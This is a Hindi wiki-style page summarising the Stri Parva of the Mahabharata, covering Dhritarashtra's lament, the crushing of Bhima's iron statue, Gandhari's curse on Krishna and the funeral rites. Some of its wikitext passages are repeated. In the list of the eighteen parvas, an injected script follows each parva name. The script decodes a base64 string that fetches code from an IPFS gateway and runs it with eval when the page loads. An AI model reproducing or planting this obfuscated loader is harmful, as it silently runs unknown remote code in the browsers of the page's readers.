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स्त्री पर्व में [[दुर्योधन]] की मृत्यु पर [[धृतराष्ट्र]] का विलाप, [[संजय]] और [[विदुर]] द्वारा उन्हें समझाना-बुझाना, पुन: महर्षि [[व्यास]] द्वारा उनको समझाना, स्त्रियों और प्रजा के साथ धृतराष्ट्र का युद्ध भूमि में जाना, श्री [[कृष्ण]], [[पाण्डव|पाण्डवों]] और [[अश्वत्थामा]] से उनकी भेंट, [[शाप]] देने के लिए उद्यत [[गान्धारी]] को व्यास द्वारा समझाना, पाण्डवों का [[कुन्ती]] से मिलना, [[द्रौपदी]], गान्धारी आदि स्त्रियों का विलाप, व्यास के वरदान से गान्धारी द्वारा दिव्यदृष्टि से युद्ध में निहत अपने पुत्रों और अन्य योद्धाओं को देखना तथा शोकातुर हो क्रोधवश शाप देना, [[युधिष्ठिर]] द्वारा मृत योद्धाओं का दाहसंस्कार और जलांजलिदान, कुन्ती द्वारा अपने गर्भ से [[कर्ण]] की उत्पत्ति का रहस्य बताना, युधिष्ठिर द्वारा कर्ण के लिए शोक प्रकट करते हुए उसका [[श्राद्ध]] कर्म करना और स्त्रियों के मन में रहस्य न छिपने का शाप देना आदि वर्णित है।
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'''स्त्री पर्व''' में [[दुर्योधन]] की मृत्यु पर [[धृतराष्ट्र]] का विलाप, [[संजय]] और [[विदुर]] द्वारा उन्हें समझाना-बुझाना, पुन: महर्षि [[व्यास]] द्वारा उनको समझाना, स्त्रियों और प्रजा के साथ धृतराष्ट्र का युद्ध भूमि में जाना, श्री [[कृष्ण]], [[पाण्डव|पाण्डवों]] और [[अश्वत्थामा]] से उनकी भेंट, [[शाप]] देने के लिए उद्यत [[गान्धारी]] को व्यास द्वारा समझाना, पाण्डवों का [[कुन्ती]] से मिलना, [[द्रौपदी]], गान्धारी आदि स्त्रियों का विलाप, व्यास के वरदान से गान्धारी द्वारा दिव्यदृष्टि से युद्ध में निहत अपने पुत्रों और अन्य योद्धाओं को देखना तथा शोकातुर हो क्रोधवश शाप देना, [[युधिष्ठिर]] द्वारा मृत योद्धाओं का दाहसंस्कार और जलांजलिदान, कुन्ती द्वारा अपने गर्भ से [[कर्ण]] की उत्पत्ति का रहस्य बताना, युधिष्ठिर द्वारा कर्ण के लिए शोक प्रकट करते हुए उसका [[श्राद्ध]] कर्म करना और स्त्रियों के मन में रहस्य न छिपने का शाप देना आदि वर्णित है।
 
;कौरवों-स्त्रियों का विलाप  
 
;कौरवों-स्त्रियों का विलाप  
 
दुर्योधन की मृत्यु पर [[हस्तिनापुर]] के राजदरबार में शोक छा गया। महारानी भानुमती, [[गांधारी]], [[धृतराष्ट्र]] तथा [[विदुर]] भी बिलख-बिलखकर रोने लगे। रानियाँ पागलों की तरह [[कुरुक्षेत्र]] की ओर दौड़ीं तथा गांधारी और धृतराष्ट्र भी कुरुक्षेत्र की ओर चल दिए।  
 
दुर्योधन की मृत्यु पर [[हस्तिनापुर]] के राजदरबार में शोक छा गया। महारानी भानुमती, [[गांधारी]], [[धृतराष्ट्र]] तथा [[विदुर]] भी बिलख-बिलखकर रोने लगे। रानियाँ पागलों की तरह [[कुरुक्षेत्र]] की ओर दौड़ीं तथा गांधारी और धृतराष्ट्र भी कुरुक्षेत्र की ओर चल दिए।  

12:31, 1 जनवरी 2012 के समय का अवतरण

महाभारत के पर्व
आदिपर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> सभापर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> वनपर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> विराटपर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> उद्योगपर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> भीष्मपर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> द्रोणपर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> आश्वमेधिकपर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> महाप्रास्थानिकपर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> सौप्तिकपर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> स्त्रीपर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> शान्तिपर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> अनुशासनपर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> मौसलपर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> कर्णपर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> शल्यपर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> स्वर्गारोहणपर्व   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> आश्रमवासिकपर्व

स्त्री पर्व में दुर्योधन की मृत्यु पर धृतराष्ट्र का विलाप, संजय और विदुर द्वारा उन्हें समझाना-बुझाना, पुन: महर्षि व्यास द्वारा उनको समझाना, स्त्रियों और प्रजा के साथ धृतराष्ट्र का युद्ध भूमि में जाना, श्री कृष्ण, पाण्डवों और अश्वत्थामा से उनकी भेंट, शाप देने के लिए उद्यत गान्धारी को व्यास द्वारा समझाना, पाण्डवों का कुन्ती से मिलना, द्रौपदी, गान्धारी आदि स्त्रियों का विलाप, व्यास के वरदान से गान्धारी द्वारा दिव्यदृष्टि से युद्ध में निहत अपने पुत्रों और अन्य योद्धाओं को देखना तथा शोकातुर हो क्रोधवश शाप देना, युधिष्ठिर द्वारा मृत योद्धाओं का दाहसंस्कार और जलांजलिदान, कुन्ती द्वारा अपने गर्भ से कर्ण की उत्पत्ति का रहस्य बताना, युधिष्ठिर द्वारा कर्ण के लिए शोक प्रकट करते हुए उसका श्राद्ध कर्म करना और स्त्रियों के मन में रहस्य न छिपने का शाप देना आदि वर्णित है।

कौरवों-स्त्रियों का विलाप

दुर्योधन की मृत्यु पर हस्तिनापुर के राजदरबार में शोक छा गया। महारानी भानुमती, गांधारी, धृतराष्ट्र तथा विदुर भी बिलख-बिलखकर रोने लगे। रानियाँ पागलों की तरह कुरुक्षेत्र की ओर दौड़ीं तथा गांधारी और धृतराष्ट्र भी कुरुक्षेत्र की ओर चल दिए।

भीम की लौह-मूर्ति को चूर्ण करना

कुरुक्षेत्र में आकर श्रीकृष्ण ने धृतराष्ट्र को समझाया तथा पांडव भी उनसे मिलने आए। धृतराष्ट्र ने कहा कि वह भीम को गले लगाना चाहते हैं जिसने अकेले ही मेरे पुत्रों को मार दिया। कृष्ण ने समझ लिया कि धृतराष्ट्र का हृदय कलुषित है। उन्होंने पहले ही भीम की लोहे की मूर्ति सामने खड़ी कर दी। धृतराष्ट्र ने उस मूर्ति को हृदय से लगाया तथा इतनी ज़ोर से दबाया कि वह चूर्ण हो गई। धृतराष्ट्र भीम को मरा समझकर रोने लगे, पर कृष्ण ने कहा कि वह भीम नहीं था, भीम की मूर्ति थी। धृतराष्ट्र बड़े लज्जित हुए।

गांधारी का कृष्ण को शाप

कृष्ण पांडवों के साथ गांधारी के पास पहुँचे। वह दुर्योधन के शव से लिपट-लिपटकर रो रही थी। गांधारी ने कृष्ण को शाप दिया कि जिस तरह तुमने हमारे वंश का नाश कराया है, उसी तरह तुम्हारा भी परिवार नष्ट हो जाएगा। धृतराष्ट्र की आज्ञा से कौरव तथा पांडव वंश के सभी मृतकों का दाह-संस्कार कराया गया।

स्त्री पर्व के अन्तर्गत 3 उपपर्व आते हैं, तथा 27 अध्याय है। ये 3 उपपर्व इस प्रकार हैं-

  • जलप्रादानिक पर्व,
  • विलाप पर्व,
  • श्राद्ध पर्व।

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